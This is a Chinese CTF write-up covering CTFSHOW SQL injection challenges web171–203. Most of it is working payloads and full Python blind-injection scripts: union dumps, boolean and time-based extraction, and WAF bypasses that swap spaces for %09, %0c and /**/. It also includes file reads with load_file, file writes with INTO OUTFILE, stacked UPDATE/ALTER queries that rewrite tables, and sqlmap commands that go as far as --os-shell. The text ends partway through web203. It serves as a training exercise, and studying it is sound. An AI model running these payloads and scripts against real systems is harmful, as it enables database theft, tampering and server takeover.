本系列题目来源:CTFSHOW: https://ctf.show/challenges
sql注入作为常见且危害极大的漏洞,想搞好代码审计,必须将其拿下。
故以 CTF 来练习。
本文包含常见sql注入类型及过滤,还有常见注入类型python脚本编写。
一、无过滤注入
web171~union联合注入
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
直接开始
1'--+
成功会先 id为1的用户密码。
1' order by 3--+
1,2,3处都有回显
-1' union select 1,2,3--+
爆出库名 ctfshow_web
-1' union select 1,2,database()--+
爆出表名 ctfshow_user
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
爆出列名 id,username,password
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+
爆出字段内容
1adminadmin~,2user1111~,3user2222~,4userAUTOpasswordAUTO~,5userAUTOpasswordAUTO~,6userAUTOpasswordAUTO~,7userAUTOpasswordAUTO~,8userAUTOpasswordAUTO~,9userAUTOpasswordAUTO~,10userAUTOpasswordAUTO~,11userAUTOpasswordAUTO~,12userAUTOpasswordAUTO~,13userAUTOpasswordAUTO~,14userAUTOpasswordAUTO~,15userAUTOpasswordAUTO~,16userAUTOpasswordAUTO~,17userAUTOpasswordAUTO~,18userAUTOpasswordAUTO~,19userAUTOpasswordAUTO~,20userAUTOpasswordAUTO~,21userAUTOpasswordAUTO~,22userAUTOpasswordAUTO~,23userAUTOpasswordAUTO~,24userAUTOpasswordAUTO~,26flagflag{90be1d62-6fab-41d6-aa43-c7d5a1c90ab7}~
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+
还可以直接抓包找到 api,直接爆出
http://96977979-97ee-410a-8c0f-bd0b2883bd95.chall.ctf.show/api/?id=1'or1--+&page=1&limit=10
web172
流程就不来了,
直接
-1' union select 1,group_concat(username,password) from ctfshow_user2--+
web173~hex编码
查询语句
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
过滤了返回字符串不能含有 flag,
那我们就将他十六进制编码即可。
-1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+
web174~py脚本布尔盲注
查询语句
//拼接sql语句查找指定ID用户
$sql = “select username,password from ctfshow_user4 where username !=’flag’ and id = ‘”.$_GET[‘id’].”‘ limit 1;”;
返回逻辑
//检查结果是否有flag
if(!preg_match(‘/flag|[0-9]/i’, json_encode($ret))){
$ret[‘msg’]=’查询成功’;
}
无回显,只好盲注了,
1' and ascii(substr((select password from ctfshow_user4 where username ='flag'),1,1))=2--+
验证了成功可以盲注,第一位ascii是102,也就是f
写个脚本。
# @Author:yanmie
import requests
url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}
i=0
j=1
result = ""
while True:
i = i + 1
payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{j},1)) = {i}--+"
#print(i,j)
payload = payload.format(j=j,i=i)
# print(payload)
response = requests.get(url = url+payload,headers = headers)
if "admin" in response.text:
result += chr(i)
print(result)
i = 0
j = j+1
if i == 128:
break
print(result)
好家伙,自增脚本结果也是废了一小段时间才跑出来。
那就再写一个二分法脚本:
# @Author:yanmie
import requests
url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}
i = 0
result = ""
while True:
head = 0
tail = 127
i += 1
while head<tail:
mid = (head+tail)//2 # 除以2取整
payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{i},1))>{mid}--+"
payload = payload.format(i=i,mid=mid)
# print(url+payload)
response = requests.get(url=url+payload,headers=headers)
# print(response.text)
if "admin" in response.text:
head = mid+1
else:
tail = mid
if head == 32:
break
result += chr(head)
print(result)
print(result)
结果快多了。
web175~py脚本时间盲注,写文件
查询语句
//拼接sql语句查找指定ID用户
$sql = “select username,password from ctfshow_user5 where username !=’flag’ and id = ‘”.$_GET[‘id’].”‘ limit 1;”;
返回逻辑
//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){
$ret[‘msg’]=’查询成功’;
}
[\x00-\x7f]/i
匹配了基本 ascii 码值。也就是说基本页面不会回显数据库里的数据。
只会回显
{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}
尝试间件盲注1' and sleep(5)--+
成功。
if 函数if(a,b,c)
, if判断,如果为真,返回b,否则返回c
继续写脚本
# @Author: yanmie
import requests
import time
url = "http://e1c35db2-f1de-4e77-8ae9-f7739465a81d.chall.ctf.show/api/v5.php?id=1' and "
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}
i = 0
result = ""
while True:
i += 1
for j in range(0,127):
j += 1
payload = "if((ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1)))={j},sleep(5),0)--+".format(i=i,j=j)
start_time = time.time()
response = requests.get(url=url+payload,headers=headers)
end_time = time.time()
print(i,j)
if end_time-start_time>5:
result += chr(j)
break
print(result)
if '}' in result:
break
可是这个脚本耗费时间太长了,42*5 秒 多。
另一种解法:
把 flag 内容写入 文件
1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
二、过滤注入
web176~大小写绕过
·查询语句
//拼接sql语句查找指定ID用户
$sql = “select id,username,password from ctfshow_user where username !=’flag’ and id = ‘”.$_GET[‘id’].”‘ limit 1;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
万能密码:
1' or 1--+
在表中 flag 直接回显
还可以大小写绕过:
-1' UnION sELect 1,2,3--+
-1' UnION sELect id,username,password from ctfshow_user where username='flag'--+
web177~/**/绕过空格
反复测试,过滤了空格。
1'--+
这个不可以 ,1'%23
可以。
过滤空格可以使用/**/
绕过
1'/**/or/**/1%23
1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
1'/**/union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23
表名,列名可以用反引号。
web178~%09绕过空格
过滤了空格和*
可以用tab
代替空格,也就是%09
1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23
一把梭
1'or'1'%23
web179~%0c绕过空格
经测试,过滤了空格、%09
、/**/
可以用%0c
绕过。
1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
还可以一把梭
1'or'1'%23
web180-182~直接查id
把所有能用的空格都过滤了。
换其他姿势,直接查 id
-1'or(id=26)and'1
web183~where正则匹配
查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(pass) from “.$_POST[‘tableName’].”;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i’, $str);
}查询结果
//返回用户表的记录总数
$user_count = 0;
需要我们post传入参数tableName
当传入tableName=ctfshow_user
时,有变化
$user_count = 22;
说明有 22 行数据。
这里吧等于号过滤了,所以利用正则。
不能有空格,不能有 *
tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))
成功利用 where 条件匹配到 f
写个脚本
# @Author: yanmie
import requests
url = "http://cd6b047c-93a9-41e2-b3e2-ab58d7328aea.chall.ctf.show/select-waf.php"
payload = "`ctfshow_user`where(substr(`pass`,{},1)regexp('{}'))"
str = "flag{abcdefghijklmnopqrstuvwxyz0123456789-}"
i = 0
flag = ""
while True:
i += 1
for j in str:
data = {
"tableName":payload.format(i,j)
}
response = requests.post(url=url,data=data)
if "user_count = 1;" in response.text:
# print(response.text)
# print(j)
flag += j
break
print(flag)
if '}' in flag:
break
web184~right join…on注入过字母
查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|’|”|union|`|sleep|benchmark/i’, $str);
}查询结果
//返回用户表的记录总数
$user_count = 0;
过滤了where
、双引号、单引号
使用 right join
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。on 条件是在生成临时表时使用的条件,它不管 ON 中的条件是否为真,都会返回左边表中的记录;
传参
tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(chr(102)))
得到
$user_count = 43;
说明可以进行这样的注入。
写个脚本:
import requests
url = "http://57dc38dc-6d61-491f-8ca1-6c199e3256be.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))"
i = 5
flag ="flag{"
while True:
i += 1
for j in range(127):
data = {
"tableName":payload.format(i,j)
}
response = requests.post(url=url,data = data)
if "user_count = 43;" in response.text:
if chr(j) != ".":
flag += chr(j)
break;
print(flag.lower())
web185~true绕过数字
查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|”|union|`|sleep|benchmark/i’, $str);
}查询结果
//返回用户表的记录总数
$user_count = 0;
多过滤了数字。
sql语句中 true 即为 1 ,true+true=2
,写个脚本
# @Author: yanmie
import requests
url = "http://dfd3af46-a52f-48ad-a9de-077c38c0597a.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"
i =5
flag = "flag{"
def createNum(n):
num = 'true'
if num == 1:
return 'true'
else:
for i in range(n-1):
num += '+true'
return num;
while True:
i += 1
for j in range(127):
data ={
"tableName":payload.format(createNum(i),createNum(1),createNum(j))
}
response = requests.post(url=url,data=data)
# print(i,j,data)
# print(response.text)
# if response.text.find("$user_count = 43;") > 0:
if "$user_count = 43;" in response.text:
if chr(j) != ".":
flag += chr(j)
break;
print(flag.lower())
if chr(j) == '}':
break
web186
查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(*) from “.$_POST[‘tableName’].”;”;
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match(‘/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|’|”|union|`|sleep|benchmark/i’, $str);
}查询结果
//返回用户表的记录总数
$user_count = 0;
直接拿上题的脚本就可以
# @Author: yanmie
import requests
url = "http://f9cb7903-66ce-445d-874a-b54de32dd8da.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"
i =5
flag = "flag{"
def createNum(n):
num = 'true'
if num == 1:
return 'true'
else:
for i in range(n-1):
num += '+true'
return num;
while True:
i += 1
for j in range(127):
data ={
"tableName":payload.format(createNum(i),createNum(1),createNum(j))
}
response = requests.post(url=url,data=data)
if "$user_count = 43;" in response.text:
if chr(j) != ".":
flag += chr(j)
break;
print(flag.lower())
if chr(j) == '}':
break
web187~md5 sql注入
查询语句
//拼接sql语句查找指定ID用户
$sql = “select count(*) from ctfshow_user where username = ‘$username’ and password= ‘$password'”;
返回逻辑
$username = $_POST[‘username’];
$password = md5($_POST[‘password’],true);
//只有admin可以获得flag
if($username!=’admin’){
$ret[‘msg’]=’用户名不存在’;
die(json_encode($ret));
}
md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,
可选。规定十六进制或二进制输出格式:
TRUE – 原始 16 字符二进制格式
FALSE – 默认。32 字符十六进制数
但是组成查询语句的时候这个hex会被转成字符串,如果转换之后的字符串包含’or’,就会和原查询语句一起组成.
也就是说将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ xxx 。
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6<其他字符>
web188~where逻辑条件
查询语句
//拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = {$username}”;
返回逻辑
//用户名检测
if(preg_match(‘/and|or|select|from|where|union|join|sleep|benchmark|,|(|)|’|”/i’, $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret[‘msg’]=’密码只能为数字’;
die(json_encode($ret));
}
//密码判断
if($row[‘pass’]==intval($password)){
$ret[‘msg’]=’登陆成功’;
array_push($ret[‘data’], array(‘flag’=>$flag));
}
这里限制密码只能为数字,但是这里是弱比较,0==admin
用户名处也正则限制了很多,但还是有很多姿势。
select * from users where first_name=0;
select * from users where first_name=1<1;
select * from users where first_name=1=0;
可以查询出所有数据,为什么呢?逻辑结构,首先first_name=1
为假也就是0 ,然后0<1
就为真,所以可以查。
这样也可以,反引号列名
select * from users where first_name=`first_name`;
所以此题payload
0/0
1<1/0
0=0/0
web189~locate定位函数
提示:
flag在api/index.php文件中
访问http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php
有两种状态,查询失败和密码错误。
利用这两种状态来读取文件判断flag具体在哪个位置。
MySQL定位函数
INSTR(str,substr)
–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)
–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)
–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)
–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0
构造payload:
username=username=if(locate("flag{",load_file('/var/www/html/api/index.php'))>0,0,1)&password=1
页面返回
{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}
说明文件中确实存在flag.
写个脚本:
思路:先得到flag
所在位置,然后从此位置开始使用二分法得到每位字符拼接成flag。
# @Author: yanmie
import requests
url = "http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php"
def getFlagPos():
payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)"
head = 0
tail = 1000
while head<tail:
mid = (head+tail)//2
data = {
"username":payload%mid,
"password":1,
}
response = requests.post(url=url,data=data)
if "密码错误" == response.json()['msg']:
head = mid+1
else:
tail = mid
return mid
def getFlag(num):
payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)"
flag =""
while True:
head = 0
tail = 127
num += 1
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(num,mid),
"password" : 1,
}
response = requests.post(url=url,data=data)
if "密码错误" == response.json()['msg']:
head = mid + 1
else:
tail = mid
flag += chr(head)
print(flag)
if "}" in flag:
break
return flag
if "__main__" == __name__:
pos = getFlagPos()
# 得到 flag{ 在文件中的位置
print(pos)
flag = getFlag(pos)
print("[+] the flag is : ",flag)
三、布尔盲注
web190~py脚本布尔盲注
查询语句
//拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = ‘{$username}'”;
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret[‘msg’]=’密码只能为数字’;
die(json_encode($ret));
}
//密码判断
if($row[‘pass’]==$password){
$ret[‘msg’]=’登陆成功’;
}
//TODO:感觉少了个啥,奇怪
如果瞎输入用户名,会提示用户名不存在,
但是如果输入1'or'1'='1
就会提示密码错误存在布尔注入.
找到api开始
http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/
写个脚本
# Author: yanmie
import requests
url = "http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/"
# 查询当前数据库
def getDatabase():
payload = "0'or(ascii(substr(database(),{},1))>{})='1"
i = 0
database = ""
while True:
i +=1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(i,mid),
"password" : 0
}
response = requests.post(url=url,data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return database
database += chr(head)
# 查询所有表名
def getTable():
payload = "0'or(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1"
i = 0
table_name = ""
while True:
i += 1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(i,mid),
"password" : 0,
}
response = requests.post(url=url,data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return table_name
table_name += chr(head)
# 查询 ctfshow_fl0g 表中的所有列名
def getColumn():
payload = "0'or(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1"
i = 0
column_name = ""
while True:
i += 1
head = 0
tail = 127
while head < tail:
mid = (head + tail) // 2
data = {
"username": payload.format(i, mid),
"password": 0,
}
response = requests.post(url=url, data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return column_name
column_name += chr(head)
# 查询字段中内容
def get_dump():
payload = "0'or(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1"
i = 0
dump = ""
while True:
i += 1
head = 0
tail = 127
while head < tail:
mid = (head + tail) // 2
data = {
"username": payload.format(i, mid),
"password": 0,
}
response = requests.post(url=url, data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return dump
dump += chr(head)
if "__main__" == __name__:
database = getDatabase()
print("[+]the database is: ",database) # 得到 ctfshow_web
table_name = getTable()
print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user
column_name = getColumn()
print("[+]the column_name are: ", column_name) # 得到 id,f1ag
dump = get_dump()
print("[+]the flag is :",dump)
web191~ord代替ascii
查询语句
//拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = ‘{$username}'”;
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret[‘msg’]=’密码只能为数字’;
die(json_encode($ret));
}
//密码判断
if($row[‘pass’]==$password){
$ret[‘msg’]=’登陆成功’;
}
//TODO:感觉少了个啥,奇怪
if(preg_match(‘/file|into|ascii/i’, $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
过滤了ascii
,所以不能使用上题的方式了。
可以使用ord
代替ascii
。
ord(str) 如果字符串str的最左边的字符是一个多字节字符返回该字符,用这个公式其组成字节的数值计算的代码,如果最左边的字符不是一个多字节字符,ORD()返回相同的值如ASCII()函数。
如select ord('a');
则返回 a 的 ascii 码值。
那么只需更改一下上官的脚本就可以直接拿到flag了。
# Author: yanmie
import requests
url = "http://5f86e6f7-cc18-49ae-8d60-b7184fde02d2.chall.ctf.show/api/"
# 查询当前数据库
def getDatabase():
payload = "0'or(ord(substr(database(),{},1))>{})='1"
i = 0
database = ""
while True:
i +=1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(i,mid),
"password" : 0
}
response = requests.post(url=url,data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return database
database += chr(head)
# 查询所有表名
def getTable():
payload = "0'or(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1"
i = 0
table_name = ""
while True:
i += 1
head = 0
tail = 127
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(i,mid),
"password" : 0,
}
response = requests.post(url=url,data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return table_name
table_name += chr(head)
# 查询 ctfshow_fl0g 表中的所有列名
def getColumn():
payload = "0'or(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1"
i = 0
column_name = ""
while True:
i += 1
head = 0
tail = 127
while head < tail:
mid = (head + tail) // 2
data = {
"username": payload.format(i, mid),
"password": 0,
}
response = requests.post(url=url, data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return column_name
column_name += chr(head)
# 查询字段中内容
def get_dump():
payload = "0'or(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1"
i = 0
dump = ""
while True:
i += 1
head = 0
tail = 127
while head < tail:
mid = (head + tail) // 2
data = {
"username": payload.format(i, mid),
"password": 0,
}
response = requests.post(url=url, data=data)
if "密码错误" in response.json()['msg']:
head = mid + 1
else:
tail = mid
if head == 0:
return dump
dump += chr(head)
if "__main__" == __name__:
database = getDatabase()
print("[+]the database is: ",database) # 得到 ctfshow_web
table_name = getTable()
print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user
column_name = getColumn()
print("[+]the column_name are: ", column_name) # 得到 id,f1ag
dump = get_dump()
print("[+]the flag is :",dump)
web192~regexp正则布尔盲注
查询语句
//拼接sql语句查找指定ID用户
$sql = “select pass from ctfshow_user where username = ‘{$username}'”;
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret[‘msg’]=’密码只能为数字’;
die(json_encode($ret));
}
//密码判断
if($row[‘pass’]==$password){
$ret[‘msg’]=’登陆成功’;
}
//TODO:感觉少了个啥,奇怪
if(preg_match(‘/file|into|ascii|ord|hex/i’, $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
又增加过滤了ord
、hex
,根据过滤内容,上关还可以用hex
。
我们可以使用正则匹配regexp
# Author: yanmie
import requests
url = "http://59005239-92ca-42fd-ac7a-4d41b67b2e55.chall.ctf.show/api/"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}"
# 查询字段中内容
def get_dump():
payload = "0'or((substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'))='1"
i = 0
dump = ""
while True:
i += 1
for j in flag:
data = {
"username": payload.format(i, j),
"password": 0,
}
response = requests.post(url=url, data=data)
# +print(i,j,data)
if "密码错误" in response.json()['msg']:
dump += j
print(dump)
if "}" in dump:
return dump
break
if "__main__" == __name__:
dump = get_dump()
print("[+]the flag is :",dump)
web193~mid截断字符串
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
又把substr
过滤了
但是我们可以使用mid
代替。
写个脚本
(哈哈哈,表名和前面的不一样了,大半天没跑出来。。)
# Author: yanmie
import requests
url = "http://83decdb8-6686-4d24-9a8f-1a51156a0e21.chall.ctf.show/api/"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_"
# 查询字段中内容
def get_dump():
# payload = "0'or((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'))='1"
# 得到 ctfshow_flxg
# payload = "0'or((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'))='1"
# 得到 id f1ag
payload = "0'or((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'))='1"
i = 0
dump = ""
while True:
i += 1
for j in flag:
data = {
"username": payload.format(i, j),
"password": 0,
}
response = requests.post(url=url, data=data)
# print(i,j,data)
if "密码错误" in response.json()['msg']:
dump += j
print(dump)
if "}" in dump:
return dump
break
if "__main__" == __name__:
dump = get_dump()
print("[+]the flag is :",dump)
web194~locate布尔盲注
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
直接上题的脚本就可以跑出来。
其他方法,利用 mysql定位函数locate
# Author: yanmie
import requests
url = "[http://ad1cf08f-6278-4479-9deb-48c](http://ad1cf08f-6278-4479-9deb-48c)[3ce9449a9.chall.ctf.show/api/](http://4ce9449a9.chall.ctf.show/api/)"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_,"
# 查询字段中内容
def get_dump():
# payload = "0'or(if((locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1,1,0))='1"
# 得到 ctfshow_flxg,ctfshow_user
# payload = "0'or(if((locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')))=1,1,0))='1"
# 得到 id,f1ag
payload = "0'or(if((locate('{}',(select f1ag from ctfshow_flxg limit 0,1)))=1,1,0))='1"
dump = ""
while True:
for j in flag:
dump += j
data = {
"username": payload.format(dump),
"password": 0,
}
response = requests.post(url=url, data=data)
# print(j,data)
if "密码错误" in response.json()['msg']:
# dump += j
print(dump)
if "}" in dump:
return dump
break
else:
dump = dump[:-1]
if "__main__" == __name__:
dump = get_dump()
print("[+]the flag is :",dump)
四、堆叠注入
web195~堆叠注入
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
把常见的查询语句过滤了,所以来个堆叠update
更新数据操作。
payload:
把所有密码都更改为 1
0x61646d696e;update`ctfshow_user`set`pass`=1
用十六进制只因为,这里的查询语句没有引号包裹
$sql = "select pass from ctfshow_user where username = {$username};";
还可以把用户名也全部跟改为1,就不用十六进制了
1;update`ctfshow_user`set`username`=1
web196~限制长度
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
if(strlen($username)>16){
$ret[‘msg’]=’用户名不能超过16个字符’;
die(json_encode($ret));
}
限制了用户名长度,十六个长度是不够更改数据的。
但是偶然试了一下select多查一个数据,结果成功登陆了。但是这里题目明明是过滤的。。。
payload:
username: 1;select(1);
pass: 1
web197-198~alert修改字段,show tables;
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
update
不能使用了。
想插入数据但是过滤了into
现在没有长度限制,没有过滤空格,不能select
、update
、insert
那就只能alter
了。
ALTER TABLE 语句用于在已有的表中添加、修改或删除列。
那我们可以利用alter
修改字段名,把id
和pass
对调。
username: 0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)
pass: 数字自增测试
# 注意用户名第一次填 payload,之后就只填 0
这里为甚么用户名使用0,因为数据表里刚开始测试时候,用户名为0 时,密码错误,说明有这个用户名。
写个脚本:
# Author: yanmie
import requests
url = "http://9c929736-5b1e-4098-a346-b84a2d3e3509.chall.ctf.show/api/"
i = 0
while True:
i += 1
if i==1:
data = {
"username" : "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)",
"password" : 0,
}
response = requests.post(url=url,data=data)
else:
data = {
"username" : 0,
"password" : {i}
}
response = requests.post(url=url,data=data)
if "登陆成功" in response.json()['msg']:
print(response.text)
break
另一种解法:
username: 0;show tables;
pass: ctfshow_user
web198
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
web199-200~show tables;
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret[‘msg’]=’用户名非法’;
die(json_encode($ret));
}
过滤了(
,所以不能用 alter 了,
但是还能直接
username: 0;show tables
password: ctfshow_user
五、sqlmap的使用
web201
使用–user-agent 指定agent
使用–referer 绕过referer检查
判断注入点:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show"
爆数据库
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --dbs --batch
得到
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
爆表名:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables --batch
得到
Database: ctfshow_web
[1 table]
+--------------+
| ctfshow_user |
+--------------+
爆字段:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch
爆内容
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
得到 shell
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --os-shell
web202~–data参数
使用–data 调整sqlmap的请求方式
post方式提交参数
python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs --batch
python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump --batch
web203–put参数
使用–method 调整sqlmap的请求方式
